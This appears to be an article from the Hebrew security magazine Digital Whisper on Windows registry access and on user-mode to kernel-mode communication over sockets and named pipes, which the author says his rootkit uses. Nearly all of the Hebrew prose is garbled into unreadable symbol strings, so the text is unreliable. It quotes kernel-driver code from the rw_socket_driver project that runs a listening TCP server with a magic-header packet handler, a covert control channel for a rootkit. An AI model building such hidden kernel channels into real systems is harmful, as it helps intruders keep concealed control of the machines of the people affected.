˰ˡ˧ˬ ˟πRegistry ˨˶˦˴ˮ ˟˪˷˟ ˫˧ˣ˯ˬ ˠ˧˷ˢ˪ handle ˣ˸ˣ˞˪ ˥˸˲ˬ ˣ˟˷ ˞˴ˬˮ sπvalue/subkey 

ˣˮ˥ˮ˞˷ ˫˧˴ˣ˶ ˰˴˟˪ ˣ˧˪˰ ˢ˧˴˪ˣ˲˧ˮˬ Σˢ˷˰ˮˣ ˸˞ˤ ˸˶ˤ˰˟ ˵ˣ˲˧˯ ˪ˣ˪˯ˬˢ ˭˧˟ ˪˩ ˸ˣ˥˸˲ˬˢ ˸˩˶˰ˬ˟ 

˪˧˟ˣˬ˷ ˥˸˲ˬ˪ ˧˷˞˶ˢ ˣˮ˪˷ Φ˭˸˧ˮ ˸ˣ˞˶˪ ˢ˲ ˞ˬˠˣˡ ˭ˣ˶˵˧˰˪Υ 
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˞ˬˠˣˡ˟ xʕ HKEY_USERS ˞ˣˢ sπroot key ˧˪˪˩ˢ ˭˯˥˞ˬ˷ ˰ˡ˧ˬ ˧˦ˮˣˣ˪˶ ˪˩˪ ˷ˬ˸˷ˬ ˫˧˧˵ˢ ˪˰ 

˸˩˶˰ˬˢ ΦDefault ˞ˣˢ ˷ˬ˸˷ˬ ˫˧˧˵ ˪˰ ˸˩˶˰ˬˢ ˣ˪˧˟˷˟ˣ ˫˧˧˵ subkey ˨ˣ˸˟ sπrootkey ˪˷ 

HKEY_USERS Σ˨˩ ˫ˠ άControl Panel έ˞ˣˢ subkey ˪˷ Default ˨˩ˣ ˢ˞˪ˢ Φ˫˞ ˢ˴˶ˮ ˰˴˟˪ 

ˢ˧˴˪ˣ˲˧ˮˬ ˪˰ sπsubkey ˫˷˟ WindowsMetrics ύ˪˧˩ˬ ˰ˡ˧ˬ ˶ˣ˷˵˷ ˪ˣˢ˧ˮ˪ ˸ˣˮˣ˪˥ˢ ˟πDesktop 

˪˷ ˸˩˶˰ˬˢ ˶˷˞˩ ˰˴ˣ˟ˬ ˷ˣˬ˧˷ ˸˥˸ ˣ˸ˣ˞ ˷ˬ˸˷ˬ ό˨˶˦˴ˮ ˭˧˧˴˪ ˸˞ ˪ˣ˪˯ˬˢ ˪˧˟ˣˬˢ ˢˬπroot 

key ˧ˮˣ˷˞˶ˢ ˡ˰ˣ sπsubkey ˪˷ WindowsMetrics ˭˸˧ˮ˷ ˸ˣ˞˶˪ ˡ˴˟ ˭ˣ˧˪˰ˢ ˪˷ ˢˮˣˬ˸ˢΦ 

нΦ ˨˶˰ π ˫˞ ˫˧˪˩˸˯ˬ ˪˰ sπRegistry ˶ˣ˸˟ ˸˩˶˰ˬ ˞˥˭ˣ˯ ˸˯˯ˣ˟ˬ ˳˰ Σ˨˶˰ ˢ˧ˢ˧ ˫˴˰˟ leaf node 

ˢˬ˷ ˢˮ˷ˬ˷ ˣˮ˪ ˞ˣˢ ˨˶˰ˢ ˪˩ˣˬ˷ ˨ˣ˸˟ ˣ˸ˣ˞ ˞˸ Φ˨˶˰ˢ ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˧˶˞ˮ˧˟ Σ˧˪ˬ˧˴ˡ Σˢ˵˯ˢπ˧˪ˬ˧˴ˡ 

ˣ˞ ˣ˪˧˲˞ ˸ˤˣ˶˥ˬ ˧˶˥˞ ˸ˮ˟ˢ ˭ˣ˧ˠ˧ˢˢ ˧˶ˣ˥˞ˬ ˸˩˶˰ˬ sπregistry ˭˸˧ˮ ˸ˣ˞˶˪ ˢ˲ ˸˞ ˫˸ˣ˞ ˸ˣˡˣ˵ˮ 

ˢ˲˧˵˸ ˧˸ˮ˧˧˴˷ ˵˪˥˟ ˫ˡˣ˵ˢ Σˣ˲ˣ˯˟ ˪˷ ˶˟ˡ ˸˞ˤ ˸˩˶˰ˬ ˭ˣ˯˥˞ ˰ˡ˧ˬ ˵˶˷ ˸ˮ˯˥˞ˬ ˸˞ ˰ˡ˧ˬˢ 

ˢ˶ˣ˴˟ ˢˮˣ˷ Φ˞ˬˠˣˡ ˢˤ˪ ˢ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˶ˣ˴˧˪ registry key ˫˧ˣ˯ˬ ˶ˣ˟˰ ˢ˵ˤˣˮˢ ˪˧˩ˬ˷ ˨˶˰ ˧ˮ˞˧˪ˣ˟ 

˶ˬˣ˞˷ ˫˞ ˵˪˥ˢ ˳˶˷ ˟πusermode ˨˧˶˴ ˸ˣ˶˧˷ ˫˧ˣ˯ˬ ˵˪˥ˢˬ ˳˶˷ ˟πkernel mode ˧ˡ˩ ˪˭˶˩ˮ˯ 

˭˧˟ ˫˧˵˪˥ˢ x˞ ˣ˪˧˲˞ ˭˯˥˞˪ ˰ˡ˧ˬ ˧˦ˮˣˣ˪˶ ˫˧˸ˣ˶˧˷˪ ˫˧˷˵ˣ˟ˬˢ ˡ˴ˢˬ ˧ˮ˷ˢ ˸˶ˤ˰˟ ˞˥˭ˣ˯ 

˫˧˶˦ˬ˶˲ ˶ˣ˸˟ ˫˧˩˶˰ ˟πregistry Φ˫ˠ ˢ˲ ˷˧ ˸˞ ˭˸ˣ˞ ˸ˣˡˣ˵ˮ ˧ˣˢ˧ˤ ˡ˴ˬ ˧˸ˮˠˢ ύ˞ˢ˥˭ˣ˯ ˣˬ˴˰ Σ˞˥˭ˣ˯ 

˰ˡ˧ˬ ˟ˣ˷˥ ˢ˵ˤˣˮ˪ ˢ˶ˣ˴˟ ˢ˧ˣ˪ˠ Σ˷ˣˬ˧˷ ˸ˣ˪ˣ˰˲˟ WinAPI ˭˸˧ˮ˷ ˶˸˞˪ ˸˞ ˭ˢ˧˸ˣ˞˧˶˵ ˣˬ˩ 

RegCreateKeyA ˪πusermode xπZwQueryValueKey ˬπkernel modeΦό 

 

˟ˣ˦ ˵˧˲˯ˬ ˞˪ ˭˧˧ˡ˰ ˪˟˞ ,˶˧˟˯ 

˸ˣ˦˧˷ˢ ˠ˧˴˞˷ ˢ˲ ˸ˣ˥˲ ˸ˣ˰ˣˡ˧ ˶ˣ˟˰ ˫˧ˮˠˬ ˸ˣˮ˩ˣ˸ˣ ˢˮˠˢ ˸ˣˮˣ˷ Σ˪˟˞ ˶˲˯ˬ ˫˧˦˟˧ˢ ˭˸ˣ˞˟ ˸ˣ˦˧˷ 

˫˧˪ˣ˩˧ ˞˧˟ˢ˪ ˧ˣˢ˧ˤ˪ ˪˪ˠ˟ ˭˸ˣ˞˷ ˸ˣ˦˧˷ ˸ˣ˩ˬ˸ˮ ˢ˶ˣ˴˟ ˸˧˟˧˦˪ˣ˲˧ˡ ˪˰ ˧ˡ˧ ˸˩˶˰ˬ ˢ˪˰˲ˢˢΣ ˢˬ ˶ˬˣ˞˷ 

ˢ˷˰ˮ˷ ˢ˲ ˷ˣˬ˧˷ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲˟ ˢ˰ˣˡ˧ ˸ˡ˰ˣ˸ˬˣ ˪˷ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ ˶ˣ˸˟ ˸˶ˣ˴ ˸˶ˣ˷˵˸ ˭˧˟ ˫˧˵˪˥ 

˪˷ ˢˮ˩ˣ˸ ˸˧ˮ˰ˠˣ˲ Φ 

˸˶ˣ˷˵˸ ˸˯˯ˣ˟ˬUsermode/Kernelmode Sockets  

˟ˣ˶ ˧ˬ ˞˶ˣ˵˷ ˸˞ ˶ˬ˞ˬˢ ˢ˞˶ˮ˩ ˶˧˩ˬ ˸˞ ˦˲˯ˮˣ˵ˢ ˪˷ sockets π ˧˰˴ˬ˞ ˸˶ˣ˷˵˸ ˯˯˟ˬ˷ ˸˶ˣ˷˵˸ 

˭˧˟ ˸ˣˮˣ˩ˬ ˸˶ˤ˰˟ ˸ˣˡˬ˴ˢ ˦˶ˣ˲˪ ˫˧ˣ˯ˬ ˪˰ ˢ˸ˣ˞ ˸˩˶˰ˬ Σˣˬ˩ ˭˩ ˢ˶˵ˬ˟ ˪˷ ˷ˣˬ˧˷ ˸˟ˣ˸˩˟ loopback 

˷˧ ˸ˣ˶˷˲˞ ˰˴˟˪ ˸˶ˣ˷˵˸ ˭˧˟ н socketπ˫˧ ˫˧˟˷ˣ˧ˢ ˪˰ ˢ˸ˣ˞ ˸˩˶˰ˬ ˫˧˩ˬ˸ˮˣ ˪˰ ˧ˡ˧ н ˧˵˪˥ ˢˮ˩ˣ˸ 

˫˧ˮˣ˷ Φ˭˸˧ˮ ˸ˣ˞˶˪ ˭˞˩ ˶˟˩ ˸˞ ˭ˣˣ˧˩ˢΥ 

мΦ ˰ˣ˟˵˪ ˡ˴˷ ˫˧ˣ˯ˬ ˢ˧ˢ˧ ˡ˴ ˸˶˷ˢ ˢ˩˥ˬ˷ ˪˰ ˦˶ˣ˲ ˫˧ˣ˯ˬ ˶ˣ˟˰ ˣ˷˵˟ ˸ύ˨˶ˡ˟ ˪˪˩ ˱˧ˡ˰ ˢˤ˷ ˢ˧ˢ˧ 

ˡ˴ˢ ˳˶˷ ˟πkernelmode ˪˪ˠ˟ ˢ˧ˢ˧˷ ˶˸ˣ˧ ˢ˷˵ ˞ˣ˴ˬ˪ ˢˮˤ˞ˢ ˢ˰ˣ˟˵ ˪˷ ˣ˸ˣ˞ ˟˧˩˶ ˪˰ ˦˶ˣ˲ 

˫˧ˣ˯ˬ ˪˪ˠ˟ˣ ˷πkernel development ˫˰ sockets ˨˟ˣ˯ˬ ˢ˟˶ˢ˟ ˥ˣ˸˧˲ˬ ˟πusermode Σ˭˩˪ˣ ˭ˣ˧ˠ˧ˢ 

ˡ˴ ˸˶˷ˢ Σ˞ˣˢ˷ ˨˟ˣ˯ˬ ˶˸ˣ˧ ˸˧ˠˣ˪ ˣˬ˴˰˟ Σ˨˶ˡ˟ ˪˪˩ ˢ˧ˢ˧ ˞˵ˣˣˡ ˡ˴˟ sπusermodeΦό 
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нΦ ˶˟˥˸ˢ˪ ˪˞ sπsocket ˧˪ˮ˶˵ˢ ˸˶ˤ˰˟ socket ˪˰ˣ˲˷ ˪˰ ˸ˮ˩ˣ˸ sπusermode ˣˮ˪˷ ˥˪ˣ˷ˣ ˸ˣ˷˵˟ 

˪˞ sπsocket ˧˪ˮ˶˵ˢ Φ˷˧ ˭ˣ˧ˠ˧ˢ ˱˯ˣˮ ˧˶ˣ˥˞ˬ ˶ˡ˯ ˢˤ˩ ˪˪ˠ˟ ˢ˷πdriver ˞ˣˢ ˢˤ ˪˰ˣ˲˟˷ ˷ˬˬˬ ˸˞ 

˟ˣ˶ ˫˧˸ˣ˶˧˷ˢ ˪˷ .ˢ˵ˤˣˮˢ 

˪˪ˠ˟ ˧˷ˣ˵ˢ ˟˶ˢ ˡˣ˞ˬ ˸ˣˮ˩˸˟ ˧˪ˮ˶˵ ˫˰ socketπ˫˧ ˣˮ˩˦ˢˢ˧ˠˣ˪ ˢ˟˶ˢ ˸ˣ˥˲ ˸˶˩ˣˬ ˢ˟˶ˢˣ ˸ˣ˥˲ ˣ˲˴˧ 

ˢ˪ ˡ˴ˢˬ ˭ˠˬˢ ˢ˶˵ˬ˟ ˪˷ ˷ˣˬ˧˷ ˵˪˥˩ ˢ˵ˤˣˮˬ Φˢ˧˧˰˟ˢ ˸˧ˤ˩˶ˬˢ ˸˶ˣ˴˟ ˸˶ˣ˷˵˸ xʕ ˞˧ˢ ˥˸˲ˮ˷ ˢ˲ 

˶ˣ˦˵ˣ ˧ˣˢ˧ˤ ˱˯ˣˮ π ˸˶ˣ˷˵˸ ˸˧˦ˮ˶˦ˮ˧˞ Φ˸˶ˤ˰˟ ˸ˣˮ˩ˣ˸ ˶ˣ˸˧ˮ˪ ˸˶ˣ˷˵˸ˢ ˸˷˶˟ ύˣˬ˩ wireshark όˢ˧ˢ˧ 

˭˸˧ˮ ˸ˣ˞˶˪ ˸˞ ˸˶ˣ˷˵˸ˢ ˸˞˴ˣ˧˷ ˵˪˥ˬ ˡ˥˞ ˪˷ sˢ˵ˤˣˮ ˪˞ ˵˪˥ˢ ˶˥˞ˢ ˢ˧ˢ˧ˣ ˶˷˲˞ ˸ˣ˞˶˪ ˸˶ˣ˷˵˸ 

ˢˬ˪˷ ˫˰ ˫˧˪ˣ˵ˣ˦ˣ˶˲ ˫˧ˬ˧ˣ˯ˬ Σ˦ˬ˶ˣ˲ ˫˧ˣ˯ˬ ˪˷ ˸˶˟˰ˢ ˰ˡ˧ˬ ˭˧˟ˢ˪ˣ ˸˞ ˪˩ ˸˶ˣ˦˵˦˧˩˶˞ ˸˶ˣ˷˵˸ˢ 

ˣˮ˧˯˧ˮ˷ ˢ˪˧˥˸˩˪ˬ ˶˧˸˯ˢ˪Φ 

˸˞ ˞ˬˠˣˡˢ ˣˤˢ ˷ˣˬ˧˷˪ ˟πsockets ˪πInter-component Communication ˡˣ˰ˣ ˸ˣ˞ˬˠˣˡ ˶ˬ˞ˬˢˬ 

˧˸˞˟ˢ ˶ˠ˞ˬˢˬ ˪˷ adspro15 ˧˸˶˷˧˵˷ ˱ˣ˯˟ ˶ˬ˞ˬˢ Φˢ˞˶˞ ˭˞˩ ˸˞ ˢ˪ˣ˰˲ˢ server_thread όύ

˸˪˰˲ˣˬ˷ ˶ˣ˸˟ system thread ˪˰ ˧ˡ˧ sπdriver ˞ˬˠˣˡ˟Υ 

// Main server thread.  
void NTAPI server_thread ( void *)  
{  
   auto status = KsInitialize ();  
   if (! NT_SUCCESS(status))  
   {  
      log ( "Failed to initialize KSOCKET. Status code: %X." , status);  
      return ;  
   }  
 
   const auto listen_socket = create_listen_socket ();  
   if (listen_socket == INVALID_SOCKET)  
   {  
      log ( "Failed to initialize listening socket." );  
 
      KsDestroy ();  
      return ;  
   }  
 
   log ( "Listening on port %d." , server_port);  
 
   while ( true )  
   {  
      sockaddr  socket_addr{ };  
      socklen_t socket_length{ };  
 
      const auto client_connection = accept (listen_socket, &socket_addr, &socket_length);  
      if (client_connection  == INVALID_SOCKET) 
      {  
         log ( "Failed to accept client connection." );  
         break ;  
      }  
 
      HANDLE thread_handle = nullptr ;  
 
      // Create a thread that will handle connection with client.  
      // TODO: Limit number of threads.  
      status = PsCreateSystemThread (  
         &thread_handle,  
         GENERIC_ALL, 
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         nullptr ,  
         nullptr ,  
         nullptr ,  
         connection_thread,  
         ( void *)client_connection  
      );  
 
      if (! NT_SUCCESS(status))  
      {  
         log ( "Failed to create thread for handling client connection." );  
 
         closesocket (client_connection);  
         break ;  
      }  
      ZwClose(thread_handle);  
   }  
   closesocket (listen_socket);  
 
   // Better not destroy, maybe threads handling client connec tion are still running.  
   // TODO: Fix it  
   // KsDestroy();  
}  

 Υ ϐhttps://github.com/adrianyy/rw_socket_driver/ώ 

˭˸˧ˮ ˸ˣ˞˶˪ ˢ˲ ˭ˣ˧ˠ˧ˢ ˶ˣ˶˟ ˪˷ ˷ˣˬ˧˷ ˟πsocketπ˫˧Υ 

мΦ ˸˶˧˴˧ socket ˪˸˶˷ ˟˷ˣ˧˷ ˪˰ sπdriverΦ 

нΦ ˰˴˟˪ Listen ˫˰ ˣ˸ˣ˞ sπsocket ˶ˣ˟˰ ˫˧˶ˣ˟˧˥ Σ˪˟˵˪ˣ ˸˞ ˫˧˶ˣ˟˧˥ˢ ˫ˬ˴˰ ˨ˣ˸˟ ˢ˞˪ˣ˪ ˸˧˲ˣ˯ˮ˧˞ 

ˢ˶˵ˬ˪ ˥˪˷ˮ˷ ˡˣ˰ ˶ˣ˟˧˥ ύ˭˸˧ˮ ˸ˣ˞˶˪ ˫ˠ ˷ˣˬ˧ˬ ˪˷ ˸˶˷ multi-threaded π ˢ˪ˣ˰˲ˢ ˸˧˞˶˥˞ˢ 

˪˩˪ ˶ˣ˟˧˥ Σconnection_thread Σόύ˸˞˶˵ˮ ˩πthread ˡ˶˲ˮ ˶ˣ˟˰ ˪˩ ˶ˣ˟˧˥ ˢ˞˪ˣ˪˟όΦ 

оΦ ˪ˣ˲˧˦ ˪˩˟ ˶ˣ˟˧˥ ˪˟˵˸ˬ˷ ˸˶˷˟ ˱ˣ˯˟ˣ ˸ˣ˪˧˰˲ˢ ˢ˶˧ˠ˯ ˪˷ sπsocket ˶˴ˣˮ˷ ˸˶˷˪. 

˯ˮ˩˞ ˢ˲ ˢ˶˴˵˟ ˪˩˪ ˢ˪ˣ˰˲ ˸˷ˬˣˬˬˢ ˪˰ ˧ˡ˧ sπdriver ˶ˣ˟˰ ˸˶˧˴˧ sπsocket ˸˶˷˪ ˸˪˟˵ˣ ˶ˣ˟˧˥ 

˥ˣ˵˪ˬΥ 

 Create_listen_socket()Υ 

static SOCKET create_listen_socket ()  
{  
    SOCKADDR_IN address{ };  
 

    address.sin_family  = AF_INET;  
    address.sin_port    = htons (server_port);  
    const auto listen_socket = socket_listen (AF_INET, SOCK_STREAM, 0);  
    if (listen_socket == INVALID_SOCKET)  
    {  
        log ( "Failed to create listen socket." ) ;  
        return INVALID_SOCKET; 
    }  
    if ( bind (listen_socket, (SOCKADDR*)&address, sizeof (address)) == SOCKET_ERROR) 
    {  
        log ( "Failed to bind socket." );  
        closesocket (listen_socket);  
        return INVALID_SOCKET; 
    }  
    if ( listen (listen_socket, 10) == SOCKET_ERROR) 
    {  
        log ( "Failed to set socket mode to listening." );  
 
        closesocket (listen_socket);  

https://github.com/adrianyy/rw_socket_driver/blob/master/rw_socket_driver/kernelmode_server/kernel_socket_server/server.cpp
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        return INVALID_SOCKET; 
    }  
    return listen_socket;  
}  

 Υ ϐhttps://github.com/adrianyy/rw_socket_driver/ώ 

ˢ˪ˣ˰˲ˢ ˢ˪˧˥˸ˬ ˸˶˧˴˧˟ socket ˶ˣ˟˰ ˸˶˦ˬ listening ˷ˣˬ˧˷˟ ˟πIpv4 ˟xπTCP Φˢ˪ˣ˰˲ˢ ˢ˩˧˷ˬˬ ˰˴˟˪ 

binding ύ˸ˣˡˬ˴ˢ ˪˷ sπsocket ˦˶ˣ˲˪ ˫˧ˣ˯ˬ ˸˩˶˰ˬ˟ ό˸ˬ˧˧˯ˬˣ ˸˪ˣ˰˲˟ listening ˢˡ˰ˣˮ˷ ˸ˣˮ˷˪ ˸˞ 

˟˴ˬ sπsocket ˟˧˷˵ˬ˪ ˶ˣ˟˰ ˫˧˶ˣ˟˧˥. 

Connection_thread(): 

// Connection handling thread.  
static void NTAPI connection_thread ( void * connection_socket)  
{  
    const auto client_connection = SOCKET( ULONG_PTR(connection_socket));  
    log ( "New connection." );  
 
    Packet packet{ };  
    while ( true )  
    {  
        const auto result = recv (client_connection, ( void *)&packet, 
sizeof (packet), 0);  
        if (result <= 0)  
            break ;  
 
        if (result < sizeof (PacketHeader))  
            continue ;  
 
        if (packet.header.magic != packet_magic)  
            continue ;  
 
        const auto packet_result = handle_incoming_packet (packet);  
        if (! complete_request (client_connection, packet_result))  
            break ;  
    }  
 
    log ( "Connection closed." );  
    closesocket (client_connection);  
}  

  Υ ϐianyy/rw_socket_driver/https://github.com/adrώ 

 

ˢ˪ˣ˰˲ˢ ˸˪˟˵ˬ ˶˦ˬ˶˲˩ ˸˞ sπsocket ˶˴ˣˮ˷ ˶˥˞˪ ˢ˪ˣ˰˲ˢ create_listen_socket όύ˨ˣ˸˟ ˢ˞˪ˣ˪ˢ 

˸˧˲ˣ˯ˮ˧˞ˢ ˶ˣ˟˰ ˶ˣ˟˧˥ ˪˷ ˸˶˷ˢ ˥ˣ˵˪˪ ˧˲˧˴˲˯ˢ ˷˵˧˟˷ ˸ˣ˶˧˷ ˫˧ˣ˯ˬ Φˢ˪ˣ˰˲ˢ ˸˰˴˟ˬ ˸˞ ˢ˧˴˵ˮˣ˲ˢ 

recv ˧ˡ˩ ˪˟˵˪ ˰ˡ˧ˬ ˢ˞˪ˣ˪˟ ˸˧˲ˣ˯ˮ˧˞ ˣ˸ˣ˞ˬ ˶ˣ˟˧˥ ˥ˣ˵˪ ˵ˡˣ˟ˣ ˢˬ˩ ˸ˣ˷˧˶ˡ ˶ˣ˟˰ ˢ˶˵ˬˢ ˧˲˧˴˲˯ˢ Σ

ˣˬ˩ ˢ˰˲ˣˢ ˪˷ ˢˡ˷ magic ˭˩ˣ˸˟ ˢ˦˵˲ˢ Φ 

˱ˣ˯˟ ˪˩ ˦˪˵ ˸˞˶˵ˮ ˢ˪ˣ˰˲ˢ handle_incoming_packet όύ˸˪˰ˣ˲˷ ˧˲˪ ˢ˦˵˲ˢ ˥ˣ˵˪ˢˬ ˫˧˶˦ˬ˶˲ˢˣ 

ˣ˶˟˰ˣˢ˷ ˢ˪ˣ˰˲ˢˣ complete_request όύˢ˶˧˟˰ˬ˷ structure ˶ˡˠˣˬ ˷˞˶ˬ ˪˞ ˥ˣ˵˪ˢ ˧ˡ˩ ˫˧˧˯˪ ˪ˣ˲˧˦ 

˦˪˵˟.  

https://github.com/adrianyy/rw_socket_driver/blob/master/rw_socket_driver/kernelmode_server/kernel_socket_server/server.cpp
https://github.com/adrianyy/rw_socket_driver/blob/master/rw_socket_driver/kernelmode_server/kernel_socket_server/server.cpp
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˸˶ˣ˷˵˸ ˸˯˯ˣ˟ˬ Named Pipes 

ˢˬˣˡ˟ ˶˞˷˪ ˫˧˦˵˧˧˟ˣ˞ˢ ˫˧˧˪˟ˣ˪ˠˢ ˫˧ˬ˧˧˵˷ ˸˩˶˰ˬ˟ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˷ˣ ˢ˪˰˲ˢˢ ˸˶ˬˣ˷ ˡˣ˰˧˸ 

˫ˢ˪˷ Σ˫˧˧˵ ˫ˠ ˦˵˧˧˟ˣ˞ ˞˶˵ˮˢ named pipe ˪ˣ˩˧˷ ˶ˣˤ˰˪ ˪πн ˧ˬ˶ˣˠ ˢˮ˩ˣ˸ x˞ ˶˸ˣ˧ ˱ˣ˪˷˪ ˰ˡ˧ˬ ˫˧ˣ˯ˬ 

˶ˣˤ˧˞ˬ ˭ˣ˶˩ˤ ˶ˡˠˣˬ ˷˞˶ˬ ΦNamed pipe ˭˸ˣˮ ˫˴˰˟ ˵˷ˬˬ ˢ˟˧˸˩˪ξˢ˞˧˶˵ ˶ˣˤ˧˞˪ shared memory 

ˢˬˡˬ˷ ˡˣ˞ˬ ˸˞ ˷ˣˬ˧˷ˢ ˟πsockets ˸ˣ˩˶˰ˬ˟ Windows Φ˨˶˦˴ˮ ˪˧˥˸ˢ˪ ˠ˧˷ˢ˪ˬ handle ˶ˣ˟˰ ˣ˸ˣ˞ 

named pipe x˞ ˶ˣ˴˧˪ ˣ˸ˣ˞ ˫˞ ˞ˣˢ ˞˪ ˫˧˧˵ ˶˟˩ ˸˩˶˰ˬ˟ Σˢˬˣˡ˟ˣ ˨˧˪ˢ˸˪ ˢ˷˰ˮ˷ ˫˰ socketπ˫˧ 

˨˶˦˴ˮ ˟˧˷˵ˢ˪ ˶ˣ˟˰ ˫˧˶ˣ˟˧˥ ˣ˸ˣ˞˪ named pipe Φ 

˸˞ ˢ˟˷˵ˢˢ ˶ˣ˟˰ ˶ˣ˟˧˥˫˧ ˢ˷˰ˮ ˫˰ ˢ˪ˣ˰˲ˢ ConnectNamedPipe ˟πusermode ˡ˴ˢˬˣ ˧ˮ˷ˢ 

ύˢ˶˵ˬ˟ ˣˮ˪˷ ˡ˴ˢ ˧ˮ˷ˢ ˢ˧ˢ˧ sπdriver ό˨˶˦˴ˮ ˥ˣ˪˷˪ ˢ˷˵˟ ˠ˧˷ˢ˪ ˢ˷˧ˠ ˪πnamed pipe Σπ˟

kernelmode ˪˩ˣˮ ˸ˣ˷˰˪ ˸˞ ˨˧˪ˢ˸ ˸˶˧˴˧ sπhandle ˨˧˪ˢ˸ˣ ˸ˣ˶˟˥˸ˢˢ ˢ˸ˣ˞˟ ˢ˪ˣ˰˲ ˸˶ˤ˰˟ 

ZwCreateFile ύ˟ˣ˷˥ ˭˧˧˴˪ Υ˫˞ ˟πusermode ˣˮ˶˴˧ ˸˞ sπnamed pipe ˫˰ ˫˷ˢ ϦMyNamedPipe ΣϦˤ˞ 

π˟kernelmode ˷ˠ˧ˮ ˣ˧˪˞ ˫˰ ˫˷ˢ MyNamedPipe\\NamedPipe\\DosDevices\\Φό 

ˣ˸ˣ˞ˬ ˰ˠ˶ˢ ˪˩ˣˮ ˷ˬ˸˷ˢ˪ ˸ˣ˪ˣ˰˲˟ ˢ˟˧˸˩ ˢ˞˧˶˵ˣ ˸ˣ˪˧ˠ˶ ˧˲˪ ˭ˣ˴˶ˢ ˣˮ˪˷ Σ˶˵ˬ˟ sˣˮ˪˷ ˪˪ˠ˟ ˢ˷π

driver ˞ˣˢ ˸˶˷ˢ ˤ˞ sπusermode component ˟ˣ˸˩˧ ˫ˡˣ˵ ˪˩ ˸˞ ˫˧ˮˣ˸ˮˢ ˪˷ ˢ˷˵˟ˢ ˪πnamed 

pipe sxπdriver ˞˶˵˧ ˢˬπnamed pipe ˸˞ ˫˧˶˦ˬ˶˲ˢ Σ˰˴˟˧ ˸˞ ˢ˷˵˟ˢ Σ˟ˣ˸˩˧ ˸˞ ˸ˣ˞˴ˣ˸ˢ ˪˷ 

ˢ˪ˣ˰˲ˢ ˨ˣ˸˪ sπnamed pipe sxπusermode component ˞˶˵˧ ˸˞ ˸ˣ˞˴ˣ˸ ˢ˪ˣ˰˲ˢ ˪˰˲˧ˣ ˲˪˫ˢ˧ Φ

ˢ˷˰ˮ ˸˞ ˢ˟˧˸˩ˢ ˢ˞˧˶˵ˢˣ ˸˶ˤ˰˟ ReadFile/WriteFile ˟πusermode x˞ ˫˸ˣ˞ ˸ˣ˪ˣ˰˲ ˵˶ ˫˰ ˸˧˪˧˥˸ 

˪˷ άZw/Nt έπ˟usermode Φ 

˫˧˧˯ˮ˷˩ ˸˞ ˸ˣ˪˧˰˲ˢ ˫˰ sπnamed pipes ˨˶˦˴ˮ ˶ˣˠ˯˪ ˸˞ sπhandle ˣ˟˷ ˣˮ˷ˬ˸˷ˢ ˸˶ˤ˰˟ ˸ˣ˪ˣ˰˲ˢ 

CloseHandle/ZwClose ˢˬ˞˸ˢ˟ ˦˯˵˦ˮˣ˵˪ ˢ˴˧˶ˢ ˧˦ˮˣˣ˪˶ˢ Σ˟ˣ˨ˣ˸ ˵˪˥ˢ ˰˴˧˟˷ ˸˞ ˢ˟˷˵ˢˢ ˶ˣ˟˰ 

˫˧˶ˣ˟˧˥ ˨˶˦˴ˮ ˫ˠ ˪˧˰˲ˢ˪ ˸˞ ˢ˪ˣ˰˲ˢ DisconnectNamedPipe()Φ 

˸ˮ˧˥˟ˬ ˱˵ˣ˸ ˭ˣˮˠˮˬˢ ˢˤˢ ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˧˷ˣˬ˧˷ ˪˪ˠ˟ ˞ˣˢ˷ ˞˪ ˰ˣˡ˧ ˣˬ˩ ˫˧ˮˣˮˠˮˬ ˫˧˶˥˞ ˣˬ˩ socketπ˫˧ 

˸˩˶˰ˬ˟ ˞ˣˢˣ ˷ˬˬ ˥ˣˮ ˷ˣˬ˧˷˪ ˧ˮ˷ˬ ˫˧ˡˡ˴ˢ Σ˨˞ ˭˧˧ˡ˰ ˫˧˧˵ ˡˣ˰˧˸ ˸˩˶˰ˬ˷ ˢ˪˰˲ˢˢ ˣ˷˸˶ˬ ˪˰ ˪˩ 

˫˧˦˵˧˧˟ˣ˞ˢ ˫˧˶˴ˣˮ˷ ˸˩˶˰ˬ˟ Σ˪˪ˣ˩ ˦˵˧˧˟ˣ˞ sπnamed pipe Φ 

˱˯ˣˮ˟ ˨˩˪ ˭˸˧ˮ ˫ˠ ˶˸ˮ˪ ˸˞ ˢ˟˧˸˩ˢ ˸˞ˣ ˢ˞˧˶˵ˢ ˪˰ sπnamed pipe shared memory ˭˩˪ˣ ˸ˣ˶ˬ˪ 

˭ˣ˧˯˧ˮˢ ˸ˣ˰˦ˢ˪ ˸˞ ˡ˴ˢ ˭ˠˬˢ ˨˩˟ ˸˶˷ˢ˷ ˞ˣˢ ˫˴˰˟ ˪˰ ˵˪˥ˢ ˧˪ˮ˶˵ˢ ύ˶˸ˣ˧˷ ˢ˷˵ ˥ˣ˸˧˲˪ Σˡ˥ˣ˧ˬ˟ 

˫˰ ˪˩ ˢ˵˧ˠˣ˪ˢ ˸˶˷˷ ˨˧˶˴ ˠˣ˞ˡ˪ ˢ˪ ό˷˧ ˸ˣˮˣ˶˸˲ ˫˧˟ˣ˦ ˶˸ˣ˧ ˣ˪˩ˣ˧˷ ˸˶˷˪ ˣˮ˸ˣ˞ Σ˨˞ ˢˤ ˭˧˧ˡ˰ ˭ˣ˶˸˲ 

˧ˬ˧˦˧ˠ˪ ˭˧˦ˣ˪˥˪Φ 

file://DosDevices/NamedPipe/MyNamedPipep


 
 

  Σ 
www.DigitalWhisper.co.il 

˭ˣ˧˪ˠ 166, ˞˶˟ˣ˦˵ˣ нлнп  уу 
 

˸˞ ˞ˬˠˣˡˢ ˢ˦˧˷˪ xʕ ˧˸˞˟ˢ ˦˵˧ˣ˶˲ˢˬ ˧˷˧˞ˢ ˧˪˷ ˪˷ rootkit ˸ˣ˩˶˰ˬ˪ ˯ˣˡˮ˧ˣˣ ˣ˟˷ ˧ˮ˞ ˷ˬ˸˷ˬ ˟π

named pipe ˶ˣ˟˰ ˸˶ˣ˷˵˸ˢ ˭˧˟ ˵˪˥ sπusermode ˭˧˟˪ ˵˪˥ sπkernelmode Φ˸˶˷ˢ ˢ˶˵ˬ˟ ʕ s˞ˣˢ 

